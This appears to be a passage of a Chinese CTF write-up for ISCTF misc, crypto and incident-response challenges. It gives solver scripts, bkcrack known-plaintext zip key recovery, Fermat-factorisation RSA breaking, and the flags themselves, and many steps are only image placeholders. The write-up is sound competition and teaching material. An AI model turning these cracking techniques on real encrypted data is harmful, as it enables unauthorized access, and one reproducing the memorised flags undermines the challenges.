        super(ResidualDenseBlock_out, self).__init__()
        self.conv1 = nn.Conv2d(12, 32, 3, 1, 1, bias=bias)
        self.conv2 = nn.Conv2d(12+32, 32, 3, 1, 1, bias=bias)
        self.conv3 = nn.Conv2d(12+64, 32, 3, 1, 1, bias=bias)
        self.conv4 = nn.Conv2d(12+96, 32, 3, 1, 1, bias=bias)
        self.conv5 = nn.Conv2d(12+128, 12, 3, 1, 1, bias=bias)
        self.lrelu = nn.LeakyReLU(inplace=True)
        initialize_weights([self.conv5], 0.)
    def forward(self, x):
        x1 = self.lrelu(self.conv1(x))
        x2 = self.lrelu(self.conv2(torch.cat((x, x1), 1)))
        x3 = self.lrelu(self.conv3(torch.cat((x, x1, x2), 1)))
        x4 = self.lrelu(self.conv4(torch.cat((x, x1, x2, x3), 1)))
        return self.conv5(torch.cat((x, x1, x2, x3, x4), 1))

class INV_block(nn.Module):
    def __init__(self, clamp=2.0):
        super().__init__(); self.clamp = clamp
        self.r, self.y, self.f = ResidualDenseBlock_out(), ResidualDenseBlock_out(), ResidualDenseBlock_out()
    def e(self, s): return torch.exp(self.clamp * 2 * (torch.sigmoid(s) - 0.5))
    def forward(self, x): return x 
    def reverse(self, x):
        y1, y2 = x.narrow(1, 0, 12), x.narrow(1, 12, 12)
        s1, t1 = self.r(y1), self.y(y1)
        x2 = (y2 - t1) / self.e(s1)
        t2 = self.f(x2)
        return torch.cat((y1 - t2, x2), 1)

# === 修正点:改回原始结构以匹配权重文件 ===
class simple_net(nn.Module):
    def __init__(self):
        super(simple_net, self).__init__()
        self.inv1 = INV_block()
        self.inv2 = INV_block()
        self.inv3 = INV_block()
        self.inv4 = INV_block()
        self.inv5 = INV_block()
        self.inv6 = INV_block()
        self.inv7 = INV_block()
        self.inv8 = INV_block()

    def reverse(self, x):
        out = self.inv8.reverse(x)
        out = self.inv7.reverse(out)
        out = self.inv6.reverse(out)
        out = self.inv5.reverse(out)
        out = self.inv4.reverse(out)
        out = self.inv3.reverse(out)
        out = self.inv2.reverse(out)
        out = self.inv1.reverse(out)
        return out

class Model(nn.Module):
    def __init__(self, cuda=True):
        super().__init__()
        self.model = simple_net()
        if cuda: self.model.cuda()

# ==========================================
# 2. 强制周期解码逻辑
# ==========================================

def solve_force():
    device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
    print(f"Running on: {device}")

    # 加载模型
    model_wrapper = Model(cuda=True)
    checkpoint = torch.load('misuha.taki', map_location=device)
    new_state_dict = {}
    
    # 修复 Key,去除 model. 前缀
    for k, v in checkpoint['net'].items():
        if 'tmp_var' in k: continue
        new_key = k[6:] if k.startswith('model.') else k
        new_state_dict[new_key] = v
        
    try:
        model_wrapper.model.load_state_dict(new_state_dict)
        print("Model loaded successfully!")
    except RuntimeError as e:
        print(f"Key mismatch error: {e}")
        return

    model_wrapper.eval()
    dwt, iwt = DWT().to(device), IWT().to(device)
    
    # 加载图片
    try:
        img = Image.open('secret.png').convert('RGB').resize((600, 450)) 
    except:
        print("Error: secret.png not found.")
        return

    # 逆向网络
    print("Inverting network and performing IWT...")
    transform = T.Compose([T.ToTensor()])
    stego_tensor = transform(img).unsqueeze(0).to(device)
    stego_dwt = dwt(stego_tensor)
    input_reverse = torch.cat([stego_dwt, torch.zeros_like(stego_dwt).to(device)], dim=1)

    with torch.no_grad():
        output_reverse = model_wrapper.model.reverse(input_reverse)
        payload_dwt = output_reverse.narrow(1, 12, 12)
        payload_img = iwt(payload_dwt)
    
    # 提取原始比特流
    payload_flat = payload_img.view(-1).cpu().numpy()
    raw_bits = (payload_flat > 0.5).astype(int)

    # === 关键:强制使用 1376 作为周期 ===
    PERIOD = 1376
    print(f"Forcing Period: {PERIOD} bits")
    
    num_copies = len(raw_bits) // PERIOD
    print(f"Averaging {num_copies} copies of the data...")
    
    truncated_len = num_copies * PERIOD
    reshaped = raw_bits[:truncated_len].reshape(num_copies, PERIOD)
    
    # 多数投票
    vote_result = np.mean(reshaped, axis=0)
    clean_bits = (vote_result > 0.5).astype(int).tolist()
    
    # 去除 padding (32bits)
    clean_bits_no_pad = clean_bits[:-32]

    # 转为字节
    ints = []
    for b in range(len(clean_bits_no_pad) // 8):
        byte = clean_bits_no_pad[b * 8:(b + 1) * 8]
        ints.append(int(''.join([str(bit) for bit in byte]), 2))
    byte_data = bytearray(ints)

    print(f"Cleaned Hex: {byte_data[:10].hex()}...")

    print("Attempting decode...")
    try:
        # 尝试 RS 解码
        try:
            decoded = rs.decode(byte_data)
            if isinstance(decoded, tuple): decoded = decoded[0]
            # Zlib 解压
            text = zlib.decompress(decoded)
            print(f"\n[SUCCESS] Flag found: {text.decode('utf-8')}")
        except Exception as e_rs:
            print(f"RS decode failed ({e_rs}), trying direct Zlib...")
            text = zlib.decompress(byte_data)
            print(f"\n[SUCCESS] Flag found (Direct Zlib): {text.decode('utf-8')}")

    except Exception as e:
        print(f"\n[FAIL] Final decoding error: {e}")

if __name__ == '__main__':
    solve_force()
    
    
#ISCTF{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}

小蓝鲨的千层FLAG

import pyzipper
import re
import os

current_file = "flagggg1000.zip"

while True:
    print(f"正在处理: {current_file}")
    
    try:
        # 改用 pyzipper.AESZipFile 打开,它支持 AES 加密
        with pyzipper.AESZipFile(current_file, 'r') as zf:
            # 1. 读取注释
            try:
                comment = zf.comment.decode('utf-8')
            except UnicodeDecodeError:
                # 防止注释不是utf-8编码导致报错
                comment = zf.comment.decode('gbk', errors='ignore')

            # 2. 正则提取密码
            match = re.search(r'The password is\s+(.+)', comment)
            
            if match:
                password = match.group(1).strip()
                # print(f"  发现密码: {password}") # 如果刷屏太快可以注释掉这行
            else:
                print("  未在注释中发现密码,可能已到达最后一层。")
                break
            
            # 3. 解压文件
            file_list = zf.namelist()
            if not file_list:
                break
            
            # 设置密码并解压
            zf.setpassword(password.encode('utf-8'))
            zf.extractall()
            
            next_file = file_list[0]
            
        # 4. 删除旧文件,清理磁盘
        os.remove(current_file)
        
        current_file = next_file
        
        # 判断是否结束(看文件名后缀)
        if not current_file.endswith('.zip'):
            print(f"\n======== 成功!========")
            print(f"最终文件是: {current_file}")
            try:
                with open(current_file, 'r', encoding='utf-8', errors='ignore') as f:
                    print("文件内容:", f.read())
            except:
                print("无法读取内容,请手动查看。")
            break

    except Exception as e:
        print(f"发生错误: {e}")
        # 如果出错,不要死循环,暂停一下让用户看清
        break
echo -n "flagggg1.zip" > plain1.txt                            
bkcrack -C flagggg3.zip -c flagggg2.zip -p plain1.txt -o 30  -x 0 504B0304 


[13:45:24] Keys
ae0c4b27 66c21cba b9a7958f

bkcrack -C .\flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f  -d flagggg2.zip

image.png

image.png

jqW2Dg2C7HLo86yRWh3CaEXZXw8T98Mz

小蓝鲨的神秘文件

image.png

image.png

miscrypto

image.png

文件尾有base64表,图片lsb有base64值
image.png
image.png

n可以分解

import gmpy2
from Crypto.Util.number import long_to_bytes

# 1. 输入数据
# 注意:题目给的 c 是十六进制格式,需要转换
c =7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917
n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
e = 65537

# 2. 费马分解 (Fermat Factorization)
def fermat_factorization(n):
    # 初始化 a 为 n 的整数平方根
    a = gmpy2.isqrt(n)
    
    while True:
        # 计算 b^2 = a^2 - n
        b2 = gmpy2.square(a) - n
        
        # 如果 b^2 是完全平方数,说明找到了
        if b2 >= 0 and gmpy2.is_square(b2):
            b = gmpy2.isqrt(b2)
            p = a + b
            q = a - b
            return p, q
        
        # 否则尝试下一个 a
        a += 1

print("[*] 正在进行费马分解...")
p, q = fermat_factorization(n)
print(f"[+] 分解成功!")
print(f"p = {p}")
print(f"q = {q}")

# 3. RSA 解密
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)

# 4. 获取 Flag
flag = long_to_bytes(m)
print(f"\n[+] Flag: {flag.decode()}")
#ISCTF{M15c_10v3_Cryp70}

消失的flag

root@ta0:~/Desktop# ssh -p 21341 [email protected] > 1.txt
root@ta0:~/Desktop# cat -A 1.txt 
ISCTF{3974ede4-79ed-4f0c-9390-fb5b5a788c89}^M                                           ^M$
  ___ ____   ____ _____ _____ ^M$
 |_ _/ ___| / ___|_   _|  ___|^M$
  | |\___ \| |     | | | |_   ^M$
  | | ___) | |___  | | |  _|  ^M$
 |___|____/ \____| |_| |_|    ^M$
^M$
(base) 

image.png

爱玩游戏的小蓝鲨

恢复图片

import numpy as np
from PIL import Image

# 读取文件内容
with open('米哈游_rbg_tb.py', 'r') as f:
    lines = f.readlines()

data_rbg = []
for line in lines:
    line = line.strip()
    if line.startswith('(') and line.endswith(')'):
        try:
            parts = line[1:-1].split(',')
            # 解析 (R, B, G) 并转换为 (R, G, B)
            r = int(parts[0])
            b = int(parts[1]) 
            g = int(parts[2]) 
            data_rbg.append((r, g, b))
        except:
            pass

data_rbg = np.array(data_rbg, dtype=np.uint8)

try:
    img2 = Image.fromarray(data_rbg.reshape((399, 482, 3)), 'RGB')
    img2.save('image_corrected_399x482.png')
    print("图像已生成")
except Exception as e:
    print(f"Error: {e}")

image.png

image.png

眼盯QKEMK_al4t_k4nT_au_Mm3_U0Kv_yzV_94e3_kg_yp3_O0teI
密钥是ISCTF
image.png

ISCTF{st4r_r4iL_is_Th3_M0St_fuN_94m3_in_th3_W0rlD}

应急响应

奇怪的shell文件

image.png

一眼冰蝎

ISCTF{Behinder}

hacker

直接搜register.php

192.168.37.177

SIGNIN

Ez_Caesar

def variant_caesar_decrypt(ciphertext):
    decrypted = ""
    shift = 2  
    
    for char in ciphertext:
        if char.isalpha():
            if char.isupper():
                base = ord('A')
                new_char = chr((ord(char) - base - shift) % 26 + base)
            else:
                base = ord('a')
                new_char = chr((ord(char) - base - shift) % 26 + base)
            
            decrypted += new_char
            shift += 3
        else:
            decrypted += char
            
    return decrypted
cipher = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
flag = variant_caesar_decrypt(cipher)
print(flag)

小蓝鲨的RC4系统

import hashlib

# 1. 复制题目提供的类
class StreamCipher:
    def __init__(self, key):
        self.S = list(range(256))
        self.i = 0
        self.j = 0
        
        j = 0
        key_bytes = self._key_to_bytes(key)
        for i in range(256):
            j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256
            self.S[i], self.S[j] = self.S[j], self.S[i]
    
    def _key_to_bytes(self, key):
        if isinstance(key, str):
            return hashlib.sha256(key.encode()).digest()
        elif isinstance(key, bytes):
            return hashlib.sha256(key).digest()
    
    def _prga(self):
        self.i = (self.i + 1) % 256
        self.j = (self.j + self.S[self.i]) % 256
        self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
        K = self.S[(self.S[self.i] + self.S[self.j]) % 256]
        return K
    
    def crypt(self, data):
        if isinstance(data, str):
            data = data.encode('utf-8')
        
        result = bytearray()
        for byte in data:
            key_byte = self._prga()
            result.append(byte ^ key_byte)
        
        return bytes(result)

# 2. 准备参数
key = "ISCTF2025"  # 从注释中提取的 Key
cipher_hex = "ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d"

# 3. 将 Hex 转换为 Bytes
cipher_bytes = bytes.fromhex(cipher_hex)

# 4. 初始化密码机并解密
cipher_machine = StreamCipher(key)
plaintext_bytes = cipher_machine.crypt(cipher_bytes)

# 5. 输出结果
print(f"Flag: {plaintext_bytes.decode(errors='ignore')}")